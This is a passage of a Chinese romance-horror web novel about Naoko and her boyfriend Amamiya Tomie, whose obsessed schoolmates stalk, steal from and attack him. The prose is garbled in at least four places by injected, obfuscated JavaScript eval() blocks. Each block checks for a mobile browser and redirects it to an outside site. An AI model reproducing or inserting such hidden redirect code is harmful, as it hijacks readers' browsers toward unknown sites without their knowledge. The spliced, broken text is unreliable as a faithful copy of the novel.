听完这番话，雨宫的表情反而冷静下来：“奈绪子你的意思是，明明看见了，却一直都没有告诉我，对吗？” “我只是不知道该怎么告诉你。”她有些心虚，“而且，正常人都不会对此毫无察觉吧？这完全是你的问题啊，雨宫君。” 他没回答，反而恶狠狠地掐住了眼前人的脸颊。 既然得到了眉目，抓人的事情就非常顺理成章了。 奈绪子可不想直面这种尴尬的事情，于是在楼下的时候就打算默默开溜，可惜被雨宫冷冷拒绝了。 “说到底，都是因为奈绪子你没有提前告诉我。现在我恶心得吃不下饭，你得帮我抓到这只该死的「老鼠」。” 再烂掉了那也是初恋，她支支吾吾：“前辈可不能恨上我……” “没有你拒绝的份哦，奈绪子。” 小时候，奈绪子经常到雨宫家的小洋楼里找他玩。 因为他不仅有市面上所有喊得上名字的玩具，大厅里还摆放着一架华丽的三角钢琴。 她当然不会弹，不过这并不妨碍她乱弹一通，然后沉浸在自己的音乐里。 长大之后，她就不怎么爱来了。 雨宫把一双拖鞋丢到她面前：“换鞋。” “粉色兔子，居然和你脚上的是一对啊。好可爱。” “不穿就算了。” “突然这么别扭做什么……没说不穿，只是想先拍张照片而已。”她忿忿不平。 “要吃点什么吗？” “什么都可以吗？” 雨宫富江是个完美的人……几乎是各方面的。 这意味着哪怕他并不用心去学，无论是弹钢琴，还是下厨，也都是信手拈来。 所以奈绪子毫不客气地点了五六道菜。 他冷哼一声：“你能吃得下吗？恐怕又要浪费了吧。” “你管我呢。我打包回去吃不可以吗？” “随你。” 雨宫家实在是太大了。 奈绪子绕了两圈，都快要有种晕乎乎的感觉。这地方打扫起来一定很麻烦。 她试图摸到厨房帮雨宫打打下手，不过在摔坏两只碗以后，就被他面色不善地赶了出去： “你还是到大厅里玩你的游戏吧。” 原本她还为那个看起来超大、玩游戏超爽的电视感到兴奋，不过翻阅过雨宫放在抽屉里的游戏之后，就不得不偃旗息鼓。 全都是老掉牙的无聊游戏，十岁以后她就不玩这些了。 真没劲。 “雨宫君，我想进你房间里看看。” 奈绪子还从没进过成年男子的房间呢。 他正捏着锅铲翻炒煎得金黄的几只鸡翅，闻言随口应了一声：“那你去吧。不过饭快要做好了，你得早点下来。” 二楼只有雨宫的房间，和一个装修华丽的图书室。 她刚旋开门，就与房里的不速之客对上了视线。 两人面面相觑了几秒，最后是奈绪子先转身跑了：“雨宫君！你、你房里有人！” 入江脸上的表情瞬间变得狰狞，他手里还拽着一条不知道是谁的内裤，似乎想扑上来掐她的脖子，被她一个猛摔门挡在了门后。 等雨宫走进房间时，入江怜央已经不见了人影。 他从阳台往下看，那只肮脏的「老鼠」正攀着管道缓慢朝下爬，而他晾在衣架上的内裤已经不见了踪影。 17. 第十七章（1） 雨宫像是气疯了，脸色变了又变，来回走了两圈，才平复下来。他一只手搭在石栏杆上，微微倾身往下看，与惊慌的入江对上了视线。 “爬回来。”他阴恻恻地笑了一声，朝入江勾勾手指，“「老鼠」，你不是想离我近一点吗？” 入江抬头看看他，又低头看看脚下的土地，下意识攥紧了手里的内裤。 他的神色看起来很动摇，不过犹豫两分钟后，他终究还是抵抗不住诱惑，急迫地顺着管道爬了回去。 当然，刚站稳脚跟，他就被愤怒的雨宫揪着衣领按在墙上狠狠打了一顿。 这些拳头对入江而言就和奖励差不多，他的神色变得狂热，甚至试图在雨宫挥拳时舔舐他的皮肤。 意识到自己对这变态根本无能为力，他瞥了奈绪子一眼，把入江放倒在地，命令道：“行了，滚下去吧。” 入江连眼睛都肿得睁不开，正准备返身往下爬时，又被冷冷喊住：“内裤留下。” 他立刻将内裤藏到身后，惊恐地摇摇头。 “留下。”雨宫的声音彻底沉下去，又恨又恼，尤其还是在川濑奈绪子面前。 他看起来恶心得不行，从旁边取了只衣架子，将那条黑色胖次撩起丢进了垃圾桶里。 想了想他似乎又觉得不放心，于是干脆在阳台点了一把火，把它烧了个干净。 “……” 不管怎么说，打架都是很危险的事，所以奈绪子始终窝窝囊囊地躲在雨宫身后，被他不轻不重地瞪了一眼： “奈绪子，你是根木头吗？” “这和我有什么关系……” “你这时候不应该生气吃醋吗？别忘了，我可是你的男朋友。”他露出一个踩到狗屎的难看的表情。 想到刚才那只「老鼠」干的蠢事，他就直犯恶心。 入江怜央在奈绪子心里形象已经全面崩塌，她小声解释道：“我不敢生气，怕他打我。” 雨宫气笑了：“这根本不是生不生气的问题，是你一点都不在乎别人对我做了什么。” 不论他做什么，这家伙都一点反应也没有。 “我在乎啊。”她反驳。 “你到底在乎什么了？” “他打扰我们吃饭了。”她话音刚落，肚子就跟着轻响了一声。 “雨宫君，我感觉有点饿了。” 雨宫低声咒骂了一句什么，才恶狠狠道：“吃，你就只知道吃。”见她转身要走，他又问，“要去哪里？” “吃饭。” 大眼瞪小眼半天，还是他先败下阵来：“知道了，你先去把手洗了吧。”说着，他忍不住抬起她的手仔细检查一番，“刚才没有被碰到吧？真是恶心死了。” 雨宫君的房间整洁而简约，和小时候也没什么不同，看来这么多年过去，这家伙的审美一点都没有变。 危机解除，奈绪子才有功夫在房间里乱看了一圈。 真大啊，就这一个房间，都比川濑家的客厅要大了。 而且，所有的游戏机也都是最新款，真馋人啊。 墙边立着一扇展示柜，上面排列着雨宫大大小小的奖状，以及一些与奈绪子的合影。除此以外，还有些莫名其妙的物品。 她把展示柜上那只粉红兔子取下，随手拍了拍：“这么多年前给你送的玩偶，雨宫君你居然还留着呢。” 这应该是幼稚园的时候，她某一年送给他的生日礼物。 “不过，这块巧克力怎么这么像……”奈绪子立马炸了，“你不是说已经吃掉了吗？” 这分明就是学园巧克力节那天，她准备送给入江前辈的心形告白巧克力。 “吃没吃有什么分别吗？反正现在已经是我的了。而且已经证明了吧，那只「老鼠」根本就不值得让你喜欢。” 雨宫冷酷地从她手里把巧克力抽出，随手放到了她拿不到的高处。 她没好气地嘲讽：“真不要脸呢，雨宫君。” 如果不是他，说不准她现在已经和入江前辈谈上恋爱了…… “这完全是向奈绪子你学的。” 拌了一会儿嘴，两人才吵吵闹闹地回到楼下。 奈绪子吃了一顿饱饭。 如果不是一整顿饭的时间，雨宫君都莫名其妙地盯着她的话，她会吃得更开心的。 从某种方面来说，他几乎是个完美的男友。 “吃饱了吗？”完美的男友微微笑道，“奈绪子，作为男女朋友，我们好像都没有约会过呢。” 她应了一声，不以为意：“我们现在不就是约会吗。这种天气，出门也太热了。” 而且，她不是非常想和他一起外出。 一定会被当成猴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706486|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子看待的。 闻言，雨宫风轻云淡的脸凝固了几分，握着筷子的手用力得微微发白，他从嗓子眼里挤出几个不悦的字眼： “奈绪子，你就不能不这么扫兴吗？” 怕雨宫大少爷又要生气，她连忙应声：“好吧，好吧。那你有什么想去的地方吗？” “我怎么会知道……这种事。”他有些不自在地轻咳了一声，视线游移，“我以前也没有和别人谈过恋爱呢。” 这种事情奈绪子当然知道，他只会用恶劣的言辞贬低别人的喜欢，毕竟雨宫富江就是这种没品的家伙。 运气不好的，还会被他蹙起眉当场讥讽： “你喜欢我什么地方呢？我这张脸，还是我稀烂的脾气？况且，像你这种愚蠢丑陋、为色所诱的低劣的「老鼠」，配对我示好吗？” 他居然还有些自知之明呢。 奈绪子眼馋他的设备，主动提议道： “那就一起在你家里打游戏怎么样？我买了新的卡带呢！可以两个人一起玩。” 正好是个她一直想玩却一直没找到同伴的双人游戏。 雨宫一顿，望向她的视线多了几分不爽，脸色也跟着难看了几分：“谁想和你打游戏了？” “……那去吃巴菲？听说西街那边开了一家新的甜品店，会加很多榛子呢。” “恶心。”他冷酷地评价道，“喜欢吃这种甜腻腻的东西的人不是你吗？” 奈绪子可以接受他评价自己，但是绝不容许他贬低巴菲。 于是她也生气了，站起身来：“你到底要做什么？你这没品的混蛋。有什么要求又不提，别人提了你又要反驳，这是应该的吗？再说了，榛子巴菲，明明什么也没做错！” 雨宫动了动自己殷红的唇瓣，似乎想说些什么，但最后却什么也没说，只面无表情地冷冷嗤了一声。 她头也没回，转身就走，身后传来他冷酷的提醒：“桌上的鸡翅。” 于是她又噔噔噔地调转回头，拎着打包好的便当疾步离开。 奈绪子满肚子火，把脸埋在枕头上，兀自生了会儿气。 不知道打哪儿来了一阵凉风，正巧将窗帘吹开，她抬起头，与对面的雨宫对上了视线。 他手里拿着只不大的浇水壶，阴沉的视线却望向她房间的方向，不知道已经站了多久。 18.第十八章 她光脚下地，猛地将窗帘拉起，把他的窥视阻挡在帘子后，以表达自己的愤怒之情。 因为恼火，直到夜深，奈绪子还躺在床上来回翻香肠，始终没有睡着。 半梦半醒间，窗子处突然传来点轻微的动静，像是某种动物用指爪在玻璃上奋力地挠刮。 她家里看起来这么寒碜，应该不会遭贼吧？ 要偷的话，也应该去偷隔壁的雨宫家才对。 这么想着，她懒懒地翻了个身。 因为没得到她的注意，始作俑者越来越猖狂，最后居然开始不断地敲击着玻璃。 砰砰砰，砰砰砰。 很好，这么无耻的贼，她目前只能想到一个。 她不耐烦地将窗子拉开，低骂道：“雨宫君，你是变态吧？” 雨宫将掌心放在窗沿，用力一撑，人就跳了进来，稳稳落地。 “哦，奈绪子，你还在生气吗？” 闻言，她环着手臂，冷哼了一声。 他嗓音很轻：“我买了游乐园的双人票。” “哦。” “和我一起去吧，奈绪子。”他突然从身后抱住了她，熟练地把下巴搁在她发顶，“我并没有说榛子巴菲不好的意思，如果你喜欢的话，下次我请你吃就是了。” 也不知道是不是故意的，说话的时候，他紧紧贴在她耳边，吹出的热气搔得她痒痒的。 “生气是因为，奈绪子你总是不把我当成一回事。”他低声温柔道，“如果我突然死了，你又根本不记得我的话，我会很可怜的。” 又开始说这些莫名其妙的话了。 明明是刚成年的年纪，还没上大学呢。 不过他既然都道歉了，奈绪子也不好揪着不放，软了口气： “就算我想不记得你，那也很困难吧。毕竟我们从小就认识。” 他蹙眉纠正道：“七岁。” “好吧，七岁。不过什么时候去吃呢？听说这个折扣下星期就结束了呢。”她跃跃欲试，忍不住掰着指头开始算时间。 “你就只关心吃什么吗？”雨宫在她床边坐下，“去了游乐园之后，就去看电影吧。漫画里都是这么写的，对吧。” 听起来就很无趣啊……还不如待在家里打游戏呢。 算了，就当是在哄雨宫君了吧。 见奈绪子无话可说，他干脆呈大字在她的床上侧躺下：“我可以睡在你的床上吗？” “当然不可以。你的脑子没出问题吗？”她伸手准备把他拉回来，反而被她将手放到唇边，轻吻了下。 “奈绪子，你变得冷酷了。可是这么晚，我还要顺着水管爬回去的话，会很危险的。”他幽怨道。 知道危险的话从一开始就不要爬啊！ 而且…… “你可以走大门的。”奈绪子不为所动。 “不行。我要睡着了，奈绪子。” “……你是故意的吧？” 见他眯着眼睛准备入睡，她只好妥协：“你还是睡地上吧。我给你铺床。” 虽然是这么说，但当奈绪子从衣柜里取出被子时，却被他趁机稳稳抱住，像急症发作似的在她后颈蹭了蹭。 “不需要了奈绪子，你让我抱一会儿就好。” “想一出是一出吗？你这个善变的混蛋。”明明是讥讽的话，却把身后的雨宫君逗得笑个不停，呼出的热气打在她裸.露的皮肤上，让她不自觉有点脸红。 过了没一会儿，他就偷偷摸摸地走了。 奈绪子第二天才知道他急切离开的理由： 因为他连夜找人，用铁丝网将阳台封了起来，看来是被偷胖次的入江前辈吓得不轻。 随着他们恋爱的传闻在学园里发酵，原本隐藏在平静下的暗潮开始渐渐沸腾。 想越界的人当然远不止入江怜央一个。 最近和雨宫走在路上，每隔几分钟总会有人假装不经意间摔进他怀里；或者突然不知道从哪里伸出来一只手，拽住他的衣角。 好在他的动作要快得多，总会及时拽着奈绪子灵活地躲开。 从校门口到教室的一路上，他都在面色不善地谩骂： “没长眼睛吗？肮脏的「老鼠」。” “腿不需要的话，可以捐给更需要的人。” “喝假酒了吗？你这蠢货。” “如果你不需要这双腿好好走路，我可以帮你打断。丑八怪。” 用词之精彩，简直令人眼花缭乱。为了防止误伤，奈绪子只好落后一步，躲到他身后。 见她一副事不关己的样子，他气不打一处来，冷哼了一声，恼怒质问： “面对这种情况，奈绪子你连一点表现也没有吗？” 这又不是什么很光彩的事，她能做什么呢？ “……啊？我应该有什么表现吗？” 他咬牙切齿，奈绪子几乎能听见从他牙缝里挤出来的嘎吱声：“当然是狠狠骂他们一顿。” 这种事，明显是雨宫君的舒适区。 “说不定他们只是不小心摔倒而已，何必生气呢？”她心虚地移开视线，伸手挠了挠脸。 雨宫的手搭在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713607|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发顶，强硬地将她转回头，躬身与她四目相对：“你是故意的吗？奈绪子。我有时候都不知道你到底是真傻，还是装傻。” “……” 怎么突然开始数落她了…… 她轻咳两声：“其实，我骂他们也没什么用吧。” “哈，没有用。”雨宫环抱着手臂，一副游刃有余的样子，“你不是我的女朋友吗？” “是的……吧。” 他更愤怒：“那你不觉得应该好好保护我吗？至少，不应该让无关的「老鼠」靠近我。” “好吧，如果雨宫君你需要的话，我会尽量的。”她后退一步，捂住被他吵得嗡嗡直响的耳朵。 这家伙，总是大呼小叫的。 对上她那双平静得有些愚蠢的眼，他叹了口气，转而拽住她的手，声音温柔了两分： “算了，只是这样就够了，对笨蛋的要求不能太高。不过，你还记得的吧？周末约会的事。” “知道了知道了，你已经提醒很多次了。”她被拽得不得不迈开腿跟上他的脚步。 在他们插科打诨的一小会儿，又有两个奈绪子并不怎么太认识的人扑上来试图碰瓷。 虽然以前雨宫君也很受欢迎，但现在已经到了有些可怕的地步。 大家都试图越界，将雨宫君落下神坛，然后和他建立起比她更亲密的关系。 有时候对上他们偏执而志在必得的侵略视线，奈绪子也会忍不住打个寒颤。 她和雨宫的恋爱非谈不可吗？ 总感觉，会因此发生什么可怕的事。 进入夏天，天气越来越热，奈绪子几乎连活动课都不想下楼。 因为黏腻的汗液，布料会紧贴着皮肤，带来某种令她不舒服的黏附感。 不过听说总是不运动的话，会更加长不高的，这是她的死穴。 再加上雨宫大概也会过来催促她。 所以纠结半天，她还是决定到更衣室换一身运动服，一会儿哪怕只是跑跑步，都算是运动了吧。 但还没走进更衣室，一阵喧闹的哗声就先灌进了耳朵，两位看戏的女同学并没有察觉到她的接近，尖着嗓子讨论刚才发生的事： “诶，发生了什么？” “是铃木！他、他、他趁着雨宫君换衣服的时候硬闯进去了——” “这家伙，真应该上绞刑架啊。” “啊啊啊，真是活该啊。铃木被雨宫君打了个半死呢。” “啊，我其实，更关心铃木到底看到了什么呢——如果我也能够看一眼，死也甘愿。” 19.第十九章 奈绪子阴暗地躲在一边偷听，因为与生俱来的平平无奇，她并没有什么存在感，因此并没有人发觉看戏的她。 过了三五分钟左右，人群自动劈开一条道，黑着脸的雨宫迈开腿走了出来。 白皙的手背上一片通红，他打人的时候大概下了死劲儿。 他一眼就发现了角落里的她，雨宫动了动唇，欲言又止，最后还是什么也没说，拉起她急匆匆离开了。 是的，从人群里一眼看见奈绪子，这是他个人的一项小小的技能。 她被拽得趔趄了一下，好在借着他的手稳住了身体，忍不住小声抱怨：“喂，雨宫君，我差点被你拽得摔了啊。” “他什么也没看到。”他突然冒出来这么一句毫不相关的话。 “……啊？” 他气恼得脸都红了，脚步一顿，返身瞪着她：“除了这个字你就没有别的话可以说吗？奈绪子，你是笨蛋吧。” “我想说，你打人没关系吗？不对，你没有挨打吧？”她绕着眼前的人转了半圈。 雨宫面部的肌肉不正常地抽动两下，脸上的表情变得狰狞恐怖，低声咒骂：“我恨不得杀了他！” 好吧，这种“魅魔”光环并非所有人都能承受的。 当一个平平无奇的庸人也没什么不好，至少不会有人在她换衣服时突然闯进来偷看。 遭遇这种事情，只要是个正常人都会为此感到不安的。 不过她也无法帮上什么忙，只能干巴巴地安慰他几句：“少说这种可怕的话啊。至少没挨打，也没让他得逞不是吗？” 雨宫顿住，眯起眼，伸手掐住她的脸，冷冷道：“奈绪子，人居然能活得像你一样迟钝吗？听说笨蛋要比聪明人幸福很多，是这样的吧。” 但对上她呆滞的眼神，他还是率先认栽：“跟你聊天简直就是浪费生命，来牵手吧。” 日光打在他身上，奈绪子这才发现，他不知道什么时候往前走了两步，替她挡住了毒辣的阳光。 “……雨宫君，你才是笨蛋吧。” 他冷哼了一声，拽着她从某条小道离开了。 上课时间，学园里安静得像是只有他们两人。雨宫的手干燥而灼热，烫得她也下意识不自在地低下头。 十指相扣的手，偶尔摩擦过会留下某种难耐的瘙痒，像是也会在人心脏上缓缓扫过。 雨宫在转角的阴影处停了下来，她一时不察，险些撞到他身上，被他伸手弹了下额头。 他突发奇想：“我们逃课吧。我今天就想和奈绪子你约会。” 现在可是上课时间。 她应该拒绝的。 但对上他那双难得认真的眼睛，她还是鬼使神差地点点头。 逃课了。 要知道，奈绪子可是一个彻头彻尾的好学生，长这么大甚至从没有抄过别人的作业。 ——虽然这完全也是因为她不认识别的同学，而雨宫，他几乎从不写作业。 “家庭作业？有做的必要吗？这种东西，看一眼就能知道答案了吧？只有奈绪子你这种笨蛋，才会自愿接受这种劳动压榨。”他如此淡淡评价。 一般在乙女游戏里，女主角与男主角的逃课都是这样发生的： 男主角将她带到某扇不高的墙上，然后会帮助她或干脆托举她跳出去，期间当然会有意无意地发生一些增进感情的小摩擦。 但这在雨宫身上完全不适用，因为他逃课只需要刷脸，上川这个地方，基本上没有任何人能够对着他这张过分美貌的脸说不。 他们极其顺利地通过正门走了出来。 工作日的游乐园很冷清，放眼望去，除了零星几对大学生情侣，就只有紧紧牵着手的奈绪子和雨宫。 “要吃冰淇凌吗？你的手都热得出汗了。”说着，他神色自然地把手又握紧了点。 这个假惺惺的家伙…… 她没好气地抱怨：“既然知道会很热就不要握这么紧啊。” “我请客。” “要两只球，香草和巧克力。” 他似乎被逗笑了，轻微地晃了晃两人相握的手， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714572|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻应一声：“变脸可真快啊，奈绪子。你在这里坐着等我，一会儿就回来了。” 说完，他就抬步往冰淇淋摊子走去，普通的学园制服，被他穿得挺括而板正，显得他身高腿长，人模人样…… 刚这么想，奈绪子就看见这没素质的家伙直接插队，带着两份点缀着三四只球的冰淇淋走了过来。 四周的游客都紧紧盯着他，给他空了条宽阔的道路出来。 她只好背过身捂住脸，假装自己不认识他。不过这并没有什么用，因为他径直走过来，把其中一份塞进了她手里。 “不吃吗？” “……” 算了，反正雨宫君没素质也不是一天两天了不是吗…… 奈绪子本来对游乐园提不起什么兴趣，她实在不喜欢人多的地方。 不过现在啃着冰淇淋，看着头顶上疾驰呼啸而过的过山车，忽然又来了兴趣： “我们去坐这个吧！感觉会很有趣啊。” 正说着，一双修长的手就探过来，往她头上戴了个什么东西。 雨宫在他头顶闷笑一声：“看上去的确很适合你啊，奈绪子。” “哈？什么东西？”她下意识想把那只发箍取下，不过被他顺势捏住了手腕。 “恶魔。”他似真似假道，语气缓慢而暧低沉，“奈绪子你不就是个可怕的恶魔吗？” “幼稚！”她从摊位上取了另外一只兔耳朵，扬声道，“你蹲下来，我够不着。” 雨宫一顿，才乖乖半蹲下身，就着她的手，把兔耳朵头箍戴到了自己头上。她正准备缩回手的时候，却被他若有似无地贴到唇边轻吻了一下。 “最喜欢奈绪子了，哪怕是这副蠢样我也喜欢。”他笑眯眯地轻叹了一声，“先去玩摩天轮吧。” 她则满脸嫌弃地将被吻过的手在他腰上蹭了蹭：“我想坐过山车，不想玩什么摩天轮。” “我拒绝。” “哈，为什么？” 他游刃有余，理直气壮：“因为我准备在摩天轮上吻你。” 20.第二十章 她失语，脑袋转了好几圈，才反应过来：“……你到底要不要脸啊，雨宫君。” 哪怕是说风景好什么的，她可都忍了啊。 “很浪漫不是吗？你那个游戏不是也有这个桥段吗？我还以为奈绪子你会喜欢呢。” 她露出一个无语的表情：“什么啊，意思是你也去玩乙女游戏了吗？真看不出来呢。” “因为奈绪子你我才想尝试的。你现在不应该露出一副感动的表情吗？”他若有所思，“然后说‘我愿意’，之类的。” “感动个什么啊，请问哪里让人感动呢。”她没好气，“我看你才是被那种恋爱游戏荼毒得不轻。” 两人对视了半分钟，雨宫才缓慢直起身。 “算了，”他哼笑一声，强行拉着她往摩天轮处走，“走吧，奈绪子，正好现在不用排队呢。” “你这可是强买强卖！” 这家伙腿很长，她不得不小跑跟上他。 “没办法，谁让我力气比你大呢” 周围的人不多，偶尔会有人朝他们——准确地说是朝雨宫——投来好奇的视线。 但要比学园里善意得多，奈绪子只是不太适应地微微低下头。 不过下一秒，她身前就横过来一道高挑的身影，将她挡得严严实实。 她松了口气。 如雨宫所言，摩天轮排队的人很少，他们很顺利地牵着手走进了其中一个车厢内。 “听说在最高点接吻的话，下辈子还会遇见呢。奈绪子你觉得呢？” 他的腿紧贴着奈绪子，隐隐约约地轻蹭了下，视线若有似无地锁定她的下唇。 “我以为你已经过了爱看童话的年纪呢。” 雨宫的眼睛轻眨了下，幽深的瞳孔似乎要把人吸进去，语气幽幽的： “有时候相信童话，完全是因为人也无能为力了哦。毕竟很多难题，即便是「雨宫富江」也无法解决的。” 他朝窗外看了一眼，刺目的阳光打在他脸上，那张美貌得让人晕眩的脸，竟然有一瞬间的陌生。 “喂，奈绪子，快到最高点了，来接吻吧。”没等她细问，他就用两只手捧起她的脸，同时，自己也迫不及待地凑了过来。 真是一点浪漫的感觉都没有啊。 车厢里很安静，有什么东西在急促地跳个不停，不知道是她的心脏，还是雨宫君的。 咚咚咚，咚咚咚。 雨宫的吻很温柔，并没有情.色的意味，温热的舌尖不厌其烦地描摹着她的唇线，像是要记住它的每一分纹理。 他贴着奈绪子的额头，把她的手拉起，按在他的胸口处。 “是我的心脏在跳呢。奈绪子也能感觉到吗？” 急促的，鲜活的。 她被吻得晕乎乎的，闻言只是轻应了一声，恍惚间，他似乎还说了句什么，只是她没有听清。 不过再去问的时候，他已经不愿意再回答了。 “不是说要去坐过山车？走吧，奈绪子。” 坐了两趟过山车，她还没有什么感觉，只是雨宫虚弱得扶着墙猛吐，脸色苍白，看上去下一秒就要昏倒在地。 她担忧地替他拍了拍脊背，低声道：“喂，坐不了就不要打肿脸充胖子啊……我又不会取笑你。” “哈，奈绪子你真是……说风凉话的高手。”他反手握住她的手，捏了捏，“第一次约会，当然要如胶似漆的。” “这个词是这么用的吗？” 闻言，雨宫直起身，似乎准备骂她一顿，不过刚对上她那双明亮的圆眼睛，怒气就泄了大半，只冷冷地哼了一声。 奈绪子拍拍他的背脊，提议道：“要不你还是到洗手间处理一下吧。” 他的脸色白得像纸，但最后还是强撑着提醒道：“那你就在原地等我，千万不要走远了知道吗？奈绪子。” 又把她当小孩了吗？她随意挥了挥手，表示可以自己照顾好自己。 其实她还想再玩一次过山车，毕竟好像来游乐园的机会不多，她可不愿意总是出门，又热又挤的。 不过想到雨宫君可怜兮兮的样子，她还是打消了这个念头，主动到旁边的小商店买了瓶矿泉水和一包纸巾。 但是，游乐园的矿泉水也太贵了吧！ 她瞠目结舌，忍不住掐着指头算了算，这一小瓶水居然花了她整整两天的零用钱…… 算了，要不然就和雨宫君一起喝这一瓶吧。 反正已经接过吻了不是吗。 想来想去，其实还是有些舍不得这些钱，她还准备把零用钱攒起来买那个新出的游戏呢。 不然一会儿再向雨宫报销吧…… 反正他根本就不在意这点小钱。 等奈绪子磨磨蹭蹭地拎着那瓶水回到原地，却没见到雨宫的身影，一连打了电话也没有人接。 一般来说，雨宫不会这样才对。 她发了条消息过去： “雨宫君，还没好吗？我就在门口等你哦。” 过了大概有十分钟，发丝散乱的雨宫才深一步浅一步地从洗手间里走出来，头顶的兔子发箍也不见了踪影。 他脸色惨绿，还有血渍顺着他的裤管往下滴。 “雨宫君？你这也太慢了吧……”她刚抱怨一句，就被他沾满鲜血的手臂吓了一跳，小心地伸手轻戳了下，“你流了好、好多血！发生了什么吗？” “遇上该死的「老鼠」了。”雨宫从她手里将纸巾抽了出来，随意在手臂上擦一把，恶狠狠地磨牙骂道。 全是血。 殷红的血液晕湿了他上身白色的学园制服，勾勒出他清晰的肌肉轮廓，但奈绪子此刻完全无心欣赏。 “要去报警吗？雨宫君，一定很痛吧……你、你还好吗？我现在就带你去医院，好不好？” 这个出血量，会……会死的吧？ 在此之前，她从未对“雨宫君死了怎么办”这个问题有所设想，但现在她突然意识到，她根本无法失去雨宫君。 他们在此以前的所有人生，都紧紧地纠缠在一起，以至于她根本没办法想象没有他的生活。 她要哭了。 他的视线在她脸上转了一圈，似乎对她的态度很满意，在她落泪的前一秒，才莫名其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他做作的嗓音在脑海里嗡嗡作响，几幅灰暗的画面在眼前交织纠缠，她下意识呢喃了一句： “雨宫君，不要死，知道吗……” 心脏像是被人攥住，有那么一瞬间，她疼得几乎无法呼吸。 眼前像走马灯似的闪过许多画面，有时是年幼的她在哭，有时是雨宫被湖水淹没的脸…… 在昏厥的前一秒，耳边突然传来一声清脆的响指，奈绪子猛地清醒过来。 回过头时，看见的就是雨宫微微蹙眉的脸。 他用那只沾血的手，轻轻抚摸了下她的脸，神情有些冷淡：“现在这个时候也能走神吗？” 她短促地呼吸几次，摇了摇头：“我感觉有些不舒服，雨宫君，可以先回家吗？” “哈，但这可是约会哦。” 血腥气还在周遭萦绕，望着他那张若无其事的脸，奈绪子本能地感觉到了不安。 想逃开，想把雨宫藏起来，什么都好。 21.第二十一章 “手凉得像冰呢，奈绪子。既然这么不舒服的话，就下次再约会吧。” 似乎是被她煞白的脸色吓住，雨宫垂下手臂，牵住了她的手。 他同意了。 虽然不明白为什么这种事情也要征求他的意见。 接下来的一段时间，奈绪子的脑海里就总自动播放着雨宫被血浸透的画面。 熟悉，又清晰。 她打了个寒颤。 一切都是风平浪静的——至少是看起来，不过他又突然变得有些神经质，比如说某天突然兴奋地给她塞了一瓶防狼喷雾和一把锋利的小刀。 “是爱心礼物哦，奈绪子，随身带着吧。” 虽然可以理解这是为了让她得以更好地保护自己，不过…… “为什么用这种毫无罗曼蒂克味道的东西当礼物，你可真是无趣啊，雨宫君。” 至少也应该是鲜花，或者糖果之类的吧？ “啊，有了。”说着，他突然挨个在两份礼物上印了个吻，“现在有罗曼蒂克味道了吗？” “……” 到底为什么会有脸皮这么厚的人……？ 她无言以对。 但他却一副对这种尴尬的氛围毫无所觉的样子，坐在她的课桌上，旁若无人地握着她的手，比划两下：“这些都会用吗？需不需要我教教你。” 奈绪子不自在地推了推他，低声警告道：“雨宫君，这可是在教室。” 雨宫君在的地方，视线总是如影随形。 他不以为意，破罐子破摔：“反正他们都看出来了不是吗。” 就是因为他这种随意的态度，他们才会看出来啊！ 她根本就不应该答应他这种莫名其妙的交往请求。 “随身带这种东西很奇怪好吗？”她把这两份印了雨宫君香吻的爱心礼物推回。 他并没有生气的意思，自顾自沉思一阵：“如果奈绪子不想带的话，那好吧。反正我会保护好你的。” 话虽这么说，她还是乖乖地把这些东西收进了背包里，换来雨宫温柔的两下轻抚：“好乖啊，奈绪子。” 奈绪子的回答是毫不犹豫地将他拍开。 “少动手动脚的……让开，我想去一趟洗手间。” 真是莫名其妙，明明有座位不是吗？ 总坐她课桌上是闹哪样？ 高中的洗手间向来是个监听八卦的圣地，在她安安静静地蹲坐在马桶上时，几个叽叽喳喳的女同学走了进来： “最近雨宫君对川濑越来越亲密了，真是让人嫉妒呢……” “说到这个，昨天我抢到雨宫君丢到垃圾桶里的矿泉水瓶了哦，好幸福……” “真羡慕你啊，会田桑。” “如果能够让雨宫君只属于我一个人，就好了。” “会田桑，你该不会，也有那种想法吧？” “我听说，入江前辈准备对雨宫君下手哦。不过，似乎失败了，回来的时候，身上全是血呢！” “如果他成功之后，能分我一块的话，我该有多么幸福啊。” “会田桑，你，你这是什么意思？” 